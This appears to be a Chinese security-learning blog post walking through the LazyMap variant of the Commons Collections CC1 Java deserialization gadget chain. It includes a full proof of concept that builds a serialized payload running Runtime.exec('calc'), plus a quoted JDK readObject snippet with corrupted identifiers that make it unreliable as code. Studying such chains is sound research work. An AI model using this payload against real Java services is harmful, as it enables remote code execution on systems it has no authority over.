0x01 LazyMap版本构造利用链的思路
在LazyMap中,也有一个地方调用到了transform()方法
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
从代码来看,我们需要进入这个if,然后让factory变成之前写好的chainedTransformer,至于怎么进if之后再说。先看看哪里会调用到get()呢……get()太多了,天知道是怎么找到的。但是直接看结果吧,是我们的老朋友AnnotationInvocationHandler。当然即使确定好了类也有5个get()方法,但是我们能控制get()的参数的只有一个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public Object invoke (Object proxy, Method method, Object[] args) { String member = method.getName(); Class<?>[] paramTypes = method.getParameterTypes(); if (member.equals("equals" ) && paramTypes.length == 1 && paramTypes[0 ] == Object.class) return equalsImpl(args[0 ]); if (paramTypes.length != 0 ) throw new AssertionError ("Too many parameters for an annotation method" ); switch (member) { case "toString" : return toStringImpl(); case "hashCode" : return hashCodeImpl(); case "annotationType" : return type; } Object result = memberValues.get(member); if (result == null ) throw new IncompleteAnnotationException (type, member); if (result instanceof ExceptionProxy) throw ((ExceptionProxy) result).generateException(); if (result.getClass().isArray() && Array.getLength(result) != 0 ) result = cloneArray(result); return result; }
那invoke怎么被调用呢?其实从字面意思来看,这是个动态代理的调用处理器类(InvocationHandler)。这里又要补充没写到博客里的东西,直接把学动态代理时搓的一点代码放上来吧
1 2 3 4 5 6 7 8 9 package Proxy;public interface KunKun { void sing () ; void dance () ; void rap () ; void basketball () ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 package Proxy;public class KunKunImpl implements KunKun { @Override public void sing () { System.out.println("只因你太美,baby~" ); } @Override public void dance () { System.out.println("铁山靠" ); } @Override public void rap () { System.out.println("你干嘛~哎呦~" ); } @Override public void basketball () { System.out.println("坤坤打篮球" ); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 package Proxy;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;import java.lang.reflect.Proxy;public class IdolProducer { public static KunKun createIdolProxy (KunKun kunkun) { KunKun proxy = (KunKun) Proxy.newProxyInstance(kunkun.getClass().getClassLoader(), new Class []{KunKun.class}, new InvocationHandler () { @Override public Object invoke (Object proxy, Method method, Object[] args) throws Throwable { String methodName = method.getName(); if (methodName.equals("sing" ) || methodName.equals("dance" )) { Object res = method.invoke(kunkun, args); switch (methodName) { case "sing" : System.out.println("唱完了" ); break ; case "dance" : System.out.println("跳完了" ); break ; } return res; } else { return method.invoke(kunkun, args); } } }); return proxy; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 package Proxy;public class Test { public static void main (String[] args) { KunKun kunkun = new KunKunImpl (); KunKun proxy = IdolProducer.createIdolProxy(kunkun); proxy.sing(); proxy.dance(); proxy.rap(); proxy.basketball(); } }
顺便在代码里也有注释说明干了什么,但还是大概解释一下。Java中代理这玩意其实和平时俗称翻墙的代理很像,我们实例化好对象后,将对象挂上代理,然后我们我们所有的方法调用全部都通过代理对象调用。就像电脑挂上代理后所有的流量都走了代理服务器,我们所有的方法调用也都经过代理类的处理后才执行。我们再看给KunKun写的代理类,里面有个InvocationHandler() 。虽然这里使用匿名内部类的形式实现,但很明显我们可以在外部实例化后实现,然后再直接放入Proxy.newProxyInstance()。
然后话说回来,AnnotationInvocationHandler也是个调用处理器类,是个继承了InvocationHandler接口的实现。所以这里invoke的调用需要我们在利用时通过代理调用Map的任意方法,invoke就会自动触发。最后和TransformedMap版本一样,我们需要readObject()方法,也直接利用AnnotationInvocationHandler的readObject()就好了。
0x02 构造利用链
老样子,通过ChainedTransformer利用反射机制构造runtime.exec(),new ConstantTransformer(Runtime.class)
依然不要丢
LazyMap的构造函数也是protected,同样是decorate()方法会调用构造函数
1 2 3 4 5 6 7 8 9 10 11 public static Map decorate (Map map, Transformer factory) { return new LazyMap (map, factory); } protected LazyMap (Map map, Factory factory) { super (map); if (factory == null ) { throw new IllegalArgumentException ("Factory must not be null" ); } this .factory = FactoryTransformer.getInstance(factory); }
其实还有个传入Map和Factory的decorate(),很明显我们并不会用到那个。所以我们这么写
1 2 HashMap<Object, Object> hashMap = new HashMap <>(); Map<Object, Object> lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
现在lazyMap保存的的factory就是chainedTransformer,那么上文留下的问题就是,LazyMap.get()怎么进入if。我们看if的判断 map.containsKey(key) == false
,其实就是判断现在的map能不能找到这个key,如果没找到就可以进入if代码块了。所以我们可以主动调用一下get()方法
因为我们给key设置的类型是Object,所以随便传什么类都行,这里随便传个空字符串。很明显我们没有这个key,成功弹出计算器
接下来我们用TransformedMap版本同样的方法构造一个AnnotationInvocationHandler对象
1 2 3 4 Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class, Map.class);aihConstructor.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler) aihConstructor.newInstance(Override.class, lazyMap);
这里传递的注解类型影响不大,因为这里没有条件限制
然后给map加个祝福(代理)
1 Map mapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class []{Map.class}, invocationHandler);
这里上代理的写法就和前面给KunKun上代理的写法差不多了,传入的invocationHandler也是我们上一步写好的。可以试一下是否能通过代理触发
这边用了一个无参的map的方法size(),使用有参方法触发会导致Too many parameters for an annotation method
报错。可以成功弹出计算器
最后我们需要readObject()触发,其实和之前一样,还是用AnnotationInvocationHandler,我们之前就用过了
1 Object object = aihConstructor.newInstance(Override.class, mapProxy);
而且这次我们传入的注解类型依然没有限制。那为什么可以用这个readObject()触发呢?或者说,是这个readObject()内哪里调用了我们mapProxy的一个无参方法呢?诶,其实还是我们之前见过的,是entrySet()
1 for (Map.Entry<String, Object> memberValue : memberValues.entrySet())
我们之前分析TransformedMap链的时候就遇到了,当初我们其实只是在测试代码时用到了entrySet()获取键值对,然后测试了setValue()的触发。但是这里恰恰好,memberValues就是传入的mapProxy,而entrySet()是Map类型的无参方法,巧之又巧。
序列化+反序列化,成功弹出计算器。LazyMap版CC1链到此结束
0x03 LazyMap版CC1完整代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;@SuppressWarnings("all") public class CC1_LazyMap { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; Transformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); Map<Object, Object> lazyMap = LazyMap.decorate(hashMap, chainedTransformer); Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class, Map.class); aihConstructor.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler) aihConstructor.newInstance(Override.class, lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class []{Map.class}, invocationHandler); Object object = aihConstructor.newInstance(Override.class, mapProxy); serialize(object); unserialize("ser.bin" ); } public static void serialize (Object object) throws Exception { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(object); } public static Object unserialize (String path) throws Exception { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (path)); return ois.readObject(); } }
0x04 后记
然而我们的CC1链在8u71后就失效了,这是为什么呢?我们看看8u71的AnnotationInvocationHandler修改的readObject()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 private void readObject (java.io.ObjectInptJtStream s) throws java.io.IOException, C1assNotFoundException { ObjectInputStream.GetField fields = s.readFields(); Class<? extends Annotation > t = (Class<? extends Annotation >)fields.get("type" , null ); Map<String, Object> streamVals = (Map<String, Object>)fields.get("memberValues" , null ); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(t); } catch (IllegalArgumentException e) { throw new java .io.InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); Map<String, Object> mv = new LinkedHashMap <>(); for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) { String name = memberValue.getKey(); Object value = null ; Class<?> memberType = memberTypes.get(name); if (memberType != null ) { value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { value = new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name)); } } mv.put(name, value); }
对于TransformedMap版本的利用链,因为原本的setValue()没了,自然调用不了,无法触发了。而LazyMap版本的利用链,emmmm总之就是实现的方式不一样了,原理似乎挺复杂的……就不分析了罢(其实是因为没找到资料,也没找到源码)
0x05 差点忘了流程图
同样是CC1链,我们可以把两条链的流程图放一起看看有什么区别
graph TD;
start("AnnotationInvocationHandler.readObject()")
last["InvokerTransformer.transform()"]
final("Runtime.exec()")
start -->|"memberValue.setValue(...)"| TransformedMap1["(AbstractInputCheckedMapDecorator) MapEntry.setValue()"]
TransformedMap1 -->|"parent.checkSetValue(value)"| TransformedMap2["TransformedMap.checkSetValue()"]
TransformedMap2 -->|"valueTransformer.transform(value)"| last
start -->|"memberValues.entrySet()(触发动态代理)"| LazyMap1["AnnotationInvocationHandler.invoke()"]
LazyMap1 --> |"memberValues.get(member)"| LazyMap2["LazyMap.get()"]
LazyMap2 --> |"factory.transform(key)"| last
last -->|"method.invoke(input, iArgs)"| final